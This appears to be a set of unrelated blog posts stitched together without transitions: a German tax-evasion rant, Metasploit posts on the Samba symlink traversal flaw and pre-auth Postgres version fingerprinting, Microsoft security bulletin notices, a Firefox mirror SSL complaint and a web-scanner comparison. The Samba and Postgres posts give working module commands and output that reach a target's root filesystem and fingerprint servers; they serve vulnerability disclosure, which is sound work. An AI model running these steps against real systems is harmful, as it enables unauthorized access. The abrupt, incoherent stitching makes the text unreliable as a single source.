Hey all,

now that all the technical stuff is going to the zynamics company blog , I will have some room here for writing about other topics. Beware: Politics might be involved, or just general rants.

Tonight I will write a little bit about tax evasion and welfare fraud. I somehow wound up in a discussion about the topic, and the end result was that I spent 20 minutes doing a bit of research on the topic.

Background: The German government was offered a CD containing data of people that have moved money into swiss bank accounts, presumably to evade taxes. The person offering the CD claims that it contains almost exclusively data of tax evaders, and demands a fee of 2.5 million EU to provide the CD to German authorities.

This situation has spawned a debate about the legality of the situation: Is it "right" for the German government to buy data that was obtained in a presumably illicit fashion ? (I intentionally avoid "illegal" here -- the person that obtained the data might be in breach of contract with his employer, but it is unclear whether he broke any criminal laws)

Clearly, it is a tricky question - but the difficulty of this question is not the topic of this blog post.

Recently, a German politician (who, ironically, was repeatedly involved in corruption affairs, most notably in the CDU-party-donations affair) by the name of "Roland Koch" argued that welfare fraud is a serious problem in Germany, and that 15% of all welware recipients do not actually want to work. He argued for annuling benefits of these 15% in a large conservative newspaper (the FAZ).

So in todays discussion, the question came up: What is actually the "bigger" crime (in terms of financial damage): Tax evasion of welfare fraud ?

It is relatively straightforward to calculate the cost of welfare fraud: Germany spent 21.7 billion EU in 2008 on the "Hartz-4" system. This includes administrative overhead. Assuming that Mr. Kochs claim has merit, and assuming that overhead is also inflated due to fraud, ~3.3 billion EU are lost annually to welfare fraud.

It is much more difficult to calculate the cost of tax evasion. There are many numbers that are difficult to justify, and most appear to be made up arbitrarily. The only halfways reliable number I could find was from this article:

The amount of money generated from tax investigations that followed evasion was ~1.6 billion EU in 2004. Inflation-adjusted to 2008 at 2% inflation, this ends up being ~1.73 billion.

This implies something rather interesting:

1. Assuming that every third tax evader is caught (which I deem more realistic, just by gut feeling, e.g. without any scientific base), tax evasion is already a much bigger problem than welfare fraud.

The question of course is: What is the actual rate of tax evasion to "getting caught" ?

Last night, Kingcope uploaded a video to youtube demonstrating a logic flaw in the Samba CIFS service (this was followed by a mailing list post). This bug allows any user with write access to a file share to create a symbolic link to the root filesystem. From this link, the user can access any file on the system with their current privileges. This affects any Samba service that allows anonymous write access, however read access to the filesystem is limited by normal user-level privileges. In most cases, anonymous users are limited to the 'nobody' account, limiting the damage possible through this exploit.

A Metasploit auxiliary module has been added to verify and test this vulnerability. Update to SVN revision 8369 or newer and start up the Metasploit Console:

$ msfconsole
msf > use auxiliary/admin/smb/samba_symlink_traversal

msf auxiliary(samba_symlink_traversal) > set RHOST 192.168.0.2

msf auxiliary(samba_symlink_traversal) > set SMBSHARE shared

msf auxiliary(samba_symlink_traversal) > set SMBTARGET rooted

msf auxiliary(samba_symlink_traversal) > run

[*] Connecting to the server...
[*] Trying to mount writeable share 'shared'...
[*] Trying to link 'rooted' to the root filesystem...
[*] Now access the following share to browse the root filesystem:
[*] \\192.168.0.2\shared\rooted\


Keep in mind that non-anonymous shares can be used as well, just enter SMBUser and SMBPass for a valid user account.

Many database servers helpfully provide version number, platform, and other salient details to just about anyone who asks, authenticated or not, which makes fingerprinting these applications a snap. However, Postgres is a little more coquettish about revealing such personal information about itself to just anyone. The best way to determine Postgres' version is to log in and just ask with a "select version()" query, but what if you don't (yet) have credentials?

Lucky for unauthenticated types, it turns out that Postgres is pretty forthcoming in its authentication failure messages. Take this example response to a failed login attempt:

0000   45 00 00 00 61 53 46 41 54 41 4c 00 43 32 38 30  E...aSFATAL.C280
0010   30 30 00 4d 70 61 73 73 77 6f 72 64 20 61 75 74  00.Mpassword aut
0020   68 65 6e 74 69 63 61 74 69 6f 6e 20 66 61 69 6c  hentication fail
0030   65 64 20 66 6f 72 20 75 73 65 72 20 22 70 6f 73  ed for user "pos
0040   74 67 72 65 73 22 00 46 61 75 74 68 2e 63 00 4c  tgres".Fauth.c.L
0050   32 37 33 00 52 61 75 74 68 5f 66 61 69 6c 65 64  273.Rauth_failed
0060   00 00                                            ..

This tells us that an error (E) was encountered related to the source file (F) auth.c, on line (L) 273, in the routine (R) auth_failed. From here, it's pretty easy to guess what happens when Postgres has a new release -- usually, things like line counts tend to change. That means we can use this error code as a handy fingerprint for pretty much every minor version release of Postgres: The above comes from version 8.4.2, but on 8.4.1, the line number is 258, it's 1017 in 8.3.9, et cetera. These differences go back at least as far as Postgres 7.4.

Metasploit (as of this morning) now supports Postgres enumeration using this technique. Check it out with a quick update. The module looks something like this:

msf auxiliary(postgres_version) > set verbose true
verbose => true
msf auxiliary(postgres_version) > run

[*] 192.168.145.50:5432 Postgres - Trying username:'postgres' with password:'?dsx)S' against 192.168.145.50:5432 on database 'template1'
[+] 192.168.145.50:5432 Postgres - Version 8.4.2 (Pre-Auth)
[*] 192.168.145.50:5432 Postgres - Disconnected
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

As mentioned at the top, if you do happen to have login credentials, you can always use those instead:

msf auxiliary(postgres_version) > set username scott
username => scott
msf auxiliary(postgres_version) > set password tiger
password => tiger
msf auxiliary(postgres_version) > run

[*] 192.168.145.50:5432 Postgres - Trying username:'scott' with password:'tiger' against 192.168.145.50:5432 on database 'template1'
[*] 192.168.145.50:5432 Postgres - querying with 'select version()'
[+] 192.168.145.50:5432 Postgres - Command complete.
[+] 192.168.145.50:5432 Postgres - Logged in to 'template1' with 'scott':'tiger'
[+] 192.168.145.50:5432 Postgres - Version 8.4.2 (Post-Auth)
[*] 192.168.145.50:5432 Postgres - Disconnected
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

We've collected a few signatures so far; we can reliably identify pretty much all of the straight Linux builds of Postgres from 7.4.26 through 8.4.2, as well as the latest Windows build. So, in the event you run into a version/platform combination of Postgres that we haven't accounted for yet, the module will display and log the relevant signature data for an easy copy-paste. Feel free to let us know about it so we can package it up. In the meantime, I'm off to hunt down some more Postgres installs.

Today we released February bulletin information through our Advance Notification Service (ANS). This month, we will be releasing 13 bulletins - five rated Critical, seven rated Important, and one rated Moderate - addressing 26 vulnerabilities. Eleven of the bulletins affect Windows and the remaining two affect Office. More information about the upcoming security updates can be found on the Advance Notification Service (ANS) webpage.

As we started to do in December, we want to give customers a peek at what our deployment guidance will be next Tuesday. This month, we will be giving four of the bulletins a deployment priority rating of 1. In the ANS, those are bulletins 1, 2, 3, and 6. We recommend that customers test and deploy all security updates as soon as possible but you should prioritize these first.

To further help customers prioritize, I have pulled the Windows information from the ANS into a summary table so depending on the version you are running, you can see how many bulletins you need to prepare for:

Version	Critical	Important	Moderate	Low	Total
Windows 2000	5	3	1	0	9
Windows XP	5	2	1	0	8
Windows Server 2003	4	3	2	0	9
Windows Vista	3	3	0	0	6
Windows Server 2008	3	4	0	1	8
Windows 7	3	2	0	0	5
Windows Server 2008 R2	3	1	0	1	5

 

The Office related bulletins are both rated Important and would require user action to be exploited (usually in the form of convincing a user to open a specially crafted file). The vulnerabilities only affect older versions of Office so customers on Office 2007 or Office 2008 for Mac will have not actions this month.

We encourage customers to upgrade to the latest versions of both Windows and Office. As this bulletin release shows, the latest versions are less impacted overall due to the improved security protections built in to these products.

I also want to give a summary of the three open Security Advisories so customers know what to expect on Tuesday:

·             Advisory 980088, Vulnerability in Internet Explorer Could Allow Information Disclosure: this advisory was released yesterday (Feb 3). We do not have an update for this issue planned for the normal February bulletin release. However, this vulnerability only affects versions of windows older than Vista in their default configuration, and there is a “Fix It” available so customers in non-default configurations can protect themselves.

·             Advisory 979682, Vulnerability in Windows Kernel Could Allow Elevation of Privilege: we are on track to release an update for this issue next Tuesday.

·             Advisory 977544, Vulnerability in SMB Could Allow Denial of Service: we are still working on an update for this issue so it will not be addressed in the February bulletins. As a reminder, this issue cannot be used to allow an attacker to take control of a system remotely, but instead results in a system becoming unresponsive due to resource consumption.

We are not aware of any attacks on these vulnerabilities and continue to encourage customers to implement the mitigations and workarounds outlined in the advisories.

Last month I started including important information about Windows versions that are reaching the end of their product lifecycle. Customers using these versions should consider upgrading before support for these products end as, once they do, we will no longer provide security updates:

• Windows XP Service Pack 2 will no longer be supported as of July 13, 2010. Many customers are still on this version, so we encourage upgrading to Service Pack 3 or to Windows 7 as soon as possible.
• Windows Vista RTM will no longer be supported as of April 13, 2010. Service Pack 1 will still be supported until July 12, 2011 but we recommend customers update to Service Pack 2 or Windows 7 at this time.
• Extended support for Windows 2000 will also be retired on July 13, 2010. At that time, we will no longer provide security or any other updates for Windows 2000.

Finally, please plan to join Adrian Stone and myself next week for our regular live webcast where we will go in to detail on each bulletin to give you even more information and guidance:

Date: Wednesday, Feb 10
Time: 11:00 a.m. PST (UTC -8)
Registration: http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032427679

Hope to see you there!

Jerry Bryant
Sr. Security Communications Manager – Lead

*This posting is provided "AS IS" with no warranties, and confers no rights.*

 

I did a presentation at the DefCon Comedy Jam about how users manually validate updates for Firefox was just a total mess from a security perspective. It had a lot to do with the fact that they are using round robin DNS and relying on the good will of a lot of dispirit sites to do their hosting for them. Well, I’ve been wondering more and more about how I may or may not be able to download these releases and verify them manually in a secure way. So I did a few checks and here’s the IP space I found and the status of what their SSL/TLS ports were when checked yesterday:

63.245.208.152 (live but with SSL/TLS mismatch)
128.61.111.9 (connection refused)
129.101.198.59 (connection refused)
131.188.12.212 (connection refused)
149.20.20.5 (connection refused)
156.56.247.196 (connection refused)
202.177.202.154 (connection refused)
204.152.184.196 (connection refused)
204.246.0.136 (connection refused)
216.165.129.141 (connection refused)
64.50.236.214 (connection refused)
64.50.236.52 (connection refused)
129.101.198.59 (operation timed out)
155.98.64.83 (operation timed out)

So only 1 out of 14 even have SSL enabled. Okay… well today, I took a little spin on SSLLabs and I found that the one site that does have SSL enabled (63.245.208.152) has a SSL/TLS mismatch error for videos.mozilla.org. I mean… seriously! If your browser goes to https://releases.mozilla.org this is sort of what’s happening under the hood:

$ telnet releases.mozilla.org 443
Trying 202.177.202.154…
telnet: connect to address 202.177.202.154: Connection refused
Trying 204.152.184.196…
telnet: connect to address 204.152.184.196: Connection refused
Trying 204.246.0.136…
telnet: connect to address 204.246.0.136: Connection refused
Trying 216.165.129.141…
telnet: connect to address 216.165.129.141: Connection refused
Trying 64.50.236.214…
telnet: connect to address 64.50.236.214: Connection refused
Trying 128.61.111.9…
telnet: connect to address 128.61.111.9: Connection refused
Trying 129.101.198.59…
telnet: connect to address 129.101.198.59: Connection refused
Trying 131.188.12.212…
telnet: connect to address 131.188.12.212: Connection refused
Trying 149.20.20.5…
telnet: connect to address 149.20.20.5: Connection refused
Trying 155.98.64.83…
telnet: connect to address 155.98.64.83: Operation timed out
Trying 156.56.247.196…
telnet: connect to address 156.56.247.196: Connection refused
Trying 63.245.208.152…
Connected to releases.geo.mozilla.com.
Escape character is ‘^]’.
^]
telnet> quit

Yes, after a minute of trying your browser will eventually find the one HTTPS server - or it won’t (sometimes it just gives up). So then in poking around within my Mozilla config I saw a reference to http://en-US.www.mozilla.com/en-US/firefox/3.5.7/releasenotes/. So I switched to SSL/TLS with this link, because I like being secure, and I get a SSL/TLS warning as well. These are the kinds of things that make Firefox incredibly unsafe to manually download and verify the binaries if you are in a hostile environment. And I’m just scratching the surface compared to my presentation. How many of those 3rd party sites do you think can be exploited?

Hi everyone,

Today we released Security Advisory 980088 to address a publicly disclosed vulnerability in Internet Explorer that may allow Information Disclosure for customers running on Windows XP or who have disabled Internet Explorer Protected Mode.  At this time we are not aware of any attacks seeking to use the vulnerability.

Customers running Internet Explorer 7 or Internet Explorer 8 in their default configuration on Windows Vista or later operating systems are not vulnerable to this issue as they benefit from Internet Explorer Protected Mode, which protects from this issue. Windows XP users, or users who have disabled Protected Mode, can help protect themselves by implementing Network Protocol Lockdown. We have created a Microsoft Fix It to automate this. The Fix It can be run on individual systems or enterprises can deploy it through their automated systems. 

We are working to produce an update for this vulnerability and when that is complete, we will take appropriate action to protect customers, which may include releasing an update out-of-band.   As with any update, we have to balance overall quality and ensure application compatibility before we release it.

Microsoft is also working with our Microsoft Active Protections Program (MAPP)  partners to help provide broader protections for customers. Together with our partners, we will continue to monitor the threat landscape and will take action against any web sites that seek to exploit this vulnerability.

We continue to encourage customers to upgrade to Internet Explorer 8 to benefit from the increased protections provided in the newer version. In addition, customers should continue to follow our “Protect Your Computer” guidance at http://www.microsoft.com/protect.

Thanks!

Jerry Bryant
Sr. Security Communications Manager – Lead

*This posting is provided "AS IS" with no warranties, and confers no rights.*

Larry Suto is back with another report outlining the differences between some of the top web application scanners on the market. Before you get all uptight and start flaming me, I in NO WAY sponsored, encouraged or had anything to do with this test in any way. In fact, I only found out about it a few days ago. Not that I think that’ll stop the flame wars, but just direct your ire appropriately, please! Anyway, he took a different approach this time, and instead of running the scanners against something he had devised up to be used only in his own lab, he turned all the scanners on each other’s public test sites. You might think they should all fair fairly well since they’re all public and there’s nothing stopping them from testing to their heart’s content. But that’s anything but what he found. You can download Larry’s report here.

Some of the more interesting findings were that Burp Suite Pro (an extremely cheap product built by Portswigger - and a damned fine manual testing tool, I might add) fared better than Qualys or WebInspect when trained. I always loved Burp Suite! Larry’s commentary is particularly amusing as you go through it, with choice quotes, like:

Accuntix missed 31% of the vulnerabilities after training and 37% without training. This is a significant cause for concern as they should be aware of the links vulnerabilities on their own site and be able to crawl and attack them.

And…

WebInspect missed 66% of the vulnerabilities, even after being trained to know all of the pages. They missed 42% of the vulnerabilities on their own test site after being trained and 55% before training.

NTOSpider by NT Objectives came out in the lead with the best overall score of the application scanners tested (which included Acunetix, Appscan, Burp Suite Pro, Hailstorm, WebInspect, and NTOSpider). He also measured things like how long the various scanners take to configure, support and so on - all important things for companies about to make the big investment. This isn’t all scanners everywhere (notably WhiteHat is missing as is the newest player to the field, NetSparker who incidentally took it upon themselves to add themselves into the report after the fact, and other free web assessment tools, like Nikto etc…), but it’s a great start to a long future of heavily debated research, I’m sure. Love him, or hate him, Larry’s always got interesting research to share!